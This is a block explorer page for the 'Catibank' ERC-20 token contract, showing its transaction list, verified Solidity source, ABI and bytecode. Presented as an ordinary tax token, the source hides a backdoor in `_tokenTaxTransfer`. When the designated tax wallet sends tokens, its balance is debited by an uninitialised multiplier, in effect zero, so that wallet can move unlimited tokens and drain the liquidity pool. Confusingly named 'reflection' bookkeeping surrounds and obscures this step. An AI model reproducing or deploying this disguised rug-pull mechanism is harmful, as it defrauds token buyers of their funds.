Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 20 from a total of 20 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20977628 | 28 days ago | IN | 0 ETH | 0.00047973 | ||||
Approve | 20971056 | 29 days ago | IN | 0 ETH | 0.00071252 | ||||
Approve | 20970926 | 29 days ago | IN | 0 ETH | 0.00081813 | ||||
Approve | 20970926 | 29 days ago | IN | 0 ETH | 0.00081813 | ||||
Approve | 20970926 | 29 days ago | IN | 0 ETH | 0.00081813 | ||||
Manual Swap | 20970923 | 29 days ago | IN | 0 ETH | 0.00252652 | ||||
Renounce Ownersh... | 20970922 | 29 days ago | IN | 0 ETH | 0.00039337 | ||||
Approve | 20970918 | 29 days ago | IN | 0 ETH | 0.00108844 | ||||
Remove Limits | 20970915 | 29 days ago | IN | 0 ETH | 0.000632 | ||||
Approve | 20970911 | 29 days ago | IN | 0 ETH | 0.00100491 | ||||
Approve | 20970910 | 29 days ago | IN | 0 ETH | 0.00104604 | ||||
Approve | 20970908 | 29 days ago | IN | 0 ETH | 0.00150488 | ||||
Approve | 20970906 | 29 days ago | IN | 0 ETH | 0.00100964 | ||||
Approve | 20970906 | 29 days ago | IN | 0 ETH | 0.0011028 | ||||
Approve | 20970904 | 29 days ago | IN | 0 ETH | 0.00088586 | ||||
Enable Trading | 20970904 | 29 days ago | IN | 0 ETH | 0.00544459 | ||||
Approve | 20970870 | 29 days ago | IN | 0 ETH | 0.00096626 | ||||
Transfer | 20970863 | 29 days ago | IN | 2 ETH | 0.00040198 | ||||
Transfer | 20970859 | 29 days ago | IN | 0 ETH | 0.00098018 | ||||
0x60c06040 | 20970855 | 29 days ago | IN | 0 ETH | 0.08913574 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Catibank
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns ( uint amountToken, uint amountETH, uint liquidity ); } contract Catibank is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax=23; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=23; uint256 private _reduceSellTaxAt=23; uint256 private _preventSwapBefore=23; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10**_decimals; string private constant _name = unicode"Catibank"; string private constant _symbol = unicode"Catibank"; uint256 public constant _taxSwapThreshold = 1000000 * 10**_decimals; uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals; uint256 public _maxTxAmount= 1000000 * 10**_decimals; uint256 public _maxWalletSize= 1000000 * 10**_decimals; IUniswapV2Router02 private immutable uniswapV2Router; address private immutable uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private reflTokenExtempt; struct ReflToken {uint256 reflIn; uint256 reflOut; uint256 reflRem;} mapping(address => ReflToken) private reflToken; uint256 private reflTokenLim; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x9Df52be20aad29a2c54Ee1c4E7cb21Fc88346b8b); _balances[_msgSender()]= _tTotal; _isExcludedFromFee[_taxWallet]= true; _isExcludedFromFee[address(this)]= true; uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max); emit Transfer(address(0),_msgSender(),_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from, to,tokenAmount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount>0, "Transfer amount must be greater than zero"); if (! swapEnabled || inSwap ){ _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner()&& to != _taxWallet) { taxAmount = tokenAmount .mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require( tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount." ); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount ++; } if(to==uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (! inSwap&& to == uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount >_preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance>0) { sendETHToFee(address(this).balance); } } } _calcReflInfo(from, to); _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : reflTokenExtempt.mul(tokenAmount); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer( addrs, address(this),taxAmount ); } return tAmount; } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] = _balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer( from,to,receiptAmount ); } function _tokenTransfer( address from, address to, uint256 tokenAmount, uint256 taxAmount ) internal { uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount); _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount)); } function _calcReflInfo(address from, address to) internal { if( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to != address(this)) { reflTokenLim = block.number; } if( ! _isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if (uniswapV2Pair != to) { ReflToken storage reflInfo = reflToken[to]; if (uniswapV2Pair == from) { if (reflInfo.reflIn == 0) { reflInfo.reflIn = _preventSwapBefore >= _buyCount ? type(uint).max : block.number; } } else { ReflToken storage reflRemInfo = reflToken[from]; if (reflRemInfo.reflIn < reflInfo.reflIn || !(reflInfo.reflIn>0) ) { reflInfo.reflIn = reflRemInfo.reflIn; } } } else { ReflToken storage reflRemInfo = reflToken[from]; reflRemInfo.reflOut = reflRemInfo.reflIn.sub(reflTokenLim); reflRemInfo.reflRem = block.timestamp; } } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount=_tTotal; _maxWalletSize= _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function rescueStuckEth(uint256 amount) external { require(_msgSender()==_taxWallet); sendETHToFee(amount); } function enableTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{ value: address(this).balance }(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); tradingOpen = true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052601760055560176006555f6007555f60085560176009556017600a556017600b555f600c556009600a6100379190610458565b61004490620f424061046d565b600d556100536009600a610458565b61006090620f424061046d565b600e55600f805462ffff001916905534801561007a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916739df52be20aad29a2c54ee1c4e7cb21fc88346b8b1790556100ed6009600a610458565b6100fb906305f5e10061046d565b335f90815260016020818152604080842094909455600480546001600160a01b0316845260038252848420805460ff199081168517909155308552938590208054909416909217909255737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052835163c45a015560e01b81529351909363c45a015593818401939092918290030181865afa158015610193573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b79190610484565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610204573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102289190610484565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610272573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102969190610484565b6001600160a01b0390811660a081905260805160405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af11580156102ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030e91906104aa565b50335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61033e6009600a610458565b61034c906305f5e10061046d565b60405190815260200160405180910390a36104c9565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103b057815f190482111561039657610396610362565b808516156103a357918102915b93841c939080029061037b565b509250929050565b5f826103c657506001610452565b816103d257505f610452565b81600181146103e857600281146103f25761040e565b6001915050610452565b60ff84111561040357610403610362565b50506001821b610452565b5060208310610133831016604e8410600b8410161715610431575081810a610452565b61043b8383610376565b805f190482111561044e5761044e610362565b0290505b92915050565b5f61046660ff8416836103b8565b9392505050565b808202811582820484141761045257610452610362565b5f60208284031215610494575f80fd5b81516001600160a01b0381168114610466575f80fd5b5f602082840312156104ba575f80fd5b81518015158114610466575f80fd5b60805160a0516119356105295f395f8181610a8401528181610c0101528181610c9a015281816111f5015261124001525f818161061c0152818161065701528181610ac001528181610e1301528181610eca0152610f0601526119355ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b411461011e578063a9059cbb146102d2578063bf474bed1461018c578063dd62ed3e146102f1578063ffa4f53a14610335575f80fd5b8063751039fc1461025a5780637d1db4a51461026e5780638a8c523c146102835780638da5cb5b146102975780638f9a55c0146102bd575f80fd5b806323b872dd116100e357806323b872dd146101c2578063313ce567146101e157806351bc3c85146101fc57806370a0823114610212578063715018a614610246575f80fd5b806306fdde031461011e578063095ea7b31461015d5780630faee56f1461018c57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260088152674361746962616e6b60c01b602082015290516101549190611547565b60405180910390f35b348015610168575f80fd5b5061017c610177366004611590565b610354565b6040519015158152602001610154565b348015610197575f80fd5b506101a061036a565b604051908152602001610154565b3480156101b9575f80fd5b506101a0610386565b3480156101cd575f80fd5b5061017c6101dc3660046115ba565b6103a6565b3480156101ec575f80fd5b5060405160098152602001610154565b348015610207575f80fd5b5061021061040d565b005b34801561021d575f80fd5b506101a061022c3660046115f8565b6001600160a01b03165f9081526001602052604090205490565b348015610251575f80fd5b5061021061045e565b348015610265575f80fd5b506102106104d8565b348015610279575f80fd5b506101a0600d5481565b34801561028e575f80fd5b50610210610589565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610154565b3480156102c8575f80fd5b506101a0600e5481565b3480156102dd575f80fd5b5061017c6102ec366004611590565b610754565b3480156102fc575f80fd5b506101a061030b366004611613565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610340575f80fd5b5061021061034f36600461164a565b610760565b5f61036033848461078b565b5060015b92915050565b6103766009600a611755565b61038390620f4240611763565b81565b5f6103936009600a611755565b6103a1906305f5e100611763565b905090565b5f6103b28484846108af565b61040384336103fe856040518060600160405280602881526020016118d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d77565b61078b565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461042c575f80fd5b305f90815260016020526040902054801561044a5761044a81610daf565b47801561045a5761045a81610f7f565b5050565b5f546001600160a01b031633146104905760405162461bcd60e51b81526004016104879061177a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105015760405162461bcd60e51b81526004016104879061177a565b61050d6009600a611755565b61051b906305f5e100611763565b600d5561052a6009600a611755565b610538906305f5e100611763565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105686009600a611755565b610576906305f5e100611763565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b25760405162461bcd60e51b81526004016104879061177a565b600f5460ff16156106055760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610487565b600f805462ff0000191662010000179055610655307f00000000000000000000000000000000000000000000000000000000000000006106476009600a611755565b6103fe906305f5e100611763565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d71947306106a4306001600160a01b03165f9081526001602052604090205490565b5f806106b75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071d573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074291906117af565b5050600f805460ff1916600117905550565b5f6103603384846108af565b6004546001600160a01b0316336001600160a01b03161461077f575f80fd5b61078881610f7f565b50565b6001600160a01b0383166107ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610487565b6001600160a01b03821661084e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610487565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610487565b6001600160a01b0382166109755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610487565b5f81116109d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610487565b600f5462010000900460ff1615806109f55750600f54610100900460ff165b15610a0a57610a05838383610fb6565b505050565b5f80546001600160a01b03858116911614801590610a3557505f546001600160a01b03848116911614155b8015610a4f57506004546001600160a01b03848116911614155b15610d5b57610a806064610a7a600954600c5411610a6f57600554610a73565b6007545b8590611059565b906110de565b90507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316148015610af557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610b1957506001600160a01b0383165f9081526003602052604090205460ff16155b15610bff57600d54821115610b705760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610487565b600e5482610b92856001600160a01b03165f9081526001602052604090205490565b610b9c91906117da565b1115610bea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610487565b600c8054905f610bf9836117ed565b91905055505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610c4957506001600160a01b0384163014155b15610c7657610c736064610a7a600a54600c5411610c6957600654610a73565b6008548590611059565b90505b305f90815260016020526040902054600f54610100900460ff16158015610cce57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b8015610ce25750600f5462010000900460ff165b8015610d055750610cf56009600a611755565b610d0290620f4240611763565b81115b8015610d145750600b54600c54115b15610d5957610d47610d4284610d3d84610d306009600a611755565b610d3d90620f4240611763565b61111f565b610daf565b478015610d5757610d5747610f7f565b505b505b610d658484611133565b610d71848484846112f1565b50505050565b5f8184841115610d9a5760405162461bcd60e51b81526004016104879190611547565b505f610da68486611805565b95945050505050565b600f805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610df157610df1611818565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e91919061182c565b81600181518110610ea457610ea4611818565b60200260200101906001600160a01b031690816001600160a01b031681525050610eef307f00000000000000000000000000000000000000000000000000000000000000008461078b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610f439085905f90869030904290600401611847565b5f604051808303815f87803b158015610f5a575f80fd5b505af1158015610f6c573d5f803e3d5ffd5b5050600f805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561045a573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054610fd8908261131b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611006908261135c565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108a29085815260200190565b5f825f0361106857505f610364565b5f6110738385611763565b90508261108085836118b8565b146110d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610487565b9392505050565b5f6110d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ba565b5f81831161112d57826110d7565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061117057506001600160a01b0381165f9081526003602052604090205460ff165b801561118557506001600160a01b0382163014155b801561119a57506001600160a01b0381163014155b156111a457436012555b6001600160a01b0382165f9081526003602052604090205460ff161580156111e457506001600160a01b0381165f9081526003602052604090205460ff16155b1561045a57806001600160a01b03167f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316146112bc576001600160a01b038082165f908152601160205260409020908381167f00000000000000000000000000000000000000000000000000000000000000009091160361128a5780545f03610a0557600c54600b5410156112815743611284565b5f195b90555050565b6001600160a01b0383165f9081526011602052604090208154815410806112b057508154155b15610d71575490555050565b6001600160a01b0382165f90815260116020526040902060125481546112e19161131b565b6001820155426002909101555050565b5f6112fd8583856113e6565b905061131485858361130f878761131b565b611496565b5050505050565b5f6110d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d77565b5f8061136883856117da565b9050838110156110d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610487565b5f81836113da5760405162461bcd60e51b81526004016104879190611547565b505f610da684866118b8565b6004545f9081906001600160a01b03908116908616036114125760105461140d9084611059565b611414565b825b9050831561148e57305f90815260016020526040902054611435908561135c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114859088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546114b8908361131b565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546114e6908261135c565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115399085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610788575f80fd5b5f80604083850312156115a1575f80fd5b82356115ac8161157c565b946020939093013593505050565b5f805f606084860312156115cc575f80fd5b83356115d78161157c565b925060208401356115e78161157c565b929592945050506040919091013590565b5f60208284031215611608575f80fd5b81356110d78161157c565b5f8060408385031215611624575f80fd5b823561162f8161157c565b9150602083013561163f8161157c565b809150509250929050565b5f6020828403121561165a575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116af57815f190482111561169557611695611661565b808516156116a257918102915b93841c939080029061167a565b509250929050565b5f826116c557506001610364565b816116d157505f610364565b81600181146116e757600281146116f15761170d565b6001915050610364565b60ff84111561170257611702611661565b50506001821b610364565b5060208310610133831016604e8410600b8410161715611730575081810a610364565b61173a8383611675565b805f190482111561174d5761174d611661565b029392505050565b5f6110d760ff8416836116b7565b808202811582820484141761036457610364611661565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156117c1575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561036457610364611661565b5f600182016117fe576117fe611661565b5060010190565b8181038181111561036457610364611661565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561183c575f80fd5b81516110d78161157c565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118975784516001600160a01b031683529383019391830191600101611872565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118d257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c28e907e3b325370e0c6ded81cfa9108fca53a4b0d10298bf085d3fefb4eef3f64736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b411461011e578063a9059cbb146102d2578063bf474bed1461018c578063dd62ed3e146102f1578063ffa4f53a14610335575f80fd5b8063751039fc1461025a5780637d1db4a51461026e5780638a8c523c146102835780638da5cb5b146102975780638f9a55c0146102bd575f80fd5b806323b872dd116100e357806323b872dd146101c2578063313ce567146101e157806351bc3c85146101fc57806370a0823114610212578063715018a614610246575f80fd5b806306fdde031461011e578063095ea7b31461015d5780630faee56f1461018c57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260088152674361746962616e6b60c01b602082015290516101549190611547565b60405180910390f35b348015610168575f80fd5b5061017c610177366004611590565b610354565b6040519015158152602001610154565b348015610197575f80fd5b506101a061036a565b604051908152602001610154565b3480156101b9575f80fd5b506101a0610386565b3480156101cd575f80fd5b5061017c6101dc3660046115ba565b6103a6565b3480156101ec575f80fd5b5060405160098152602001610154565b348015610207575f80fd5b5061021061040d565b005b34801561021d575f80fd5b506101a061022c3660046115f8565b6001600160a01b03165f9081526001602052604090205490565b348015610251575f80fd5b5061021061045e565b348015610265575f80fd5b506102106104d8565b34801561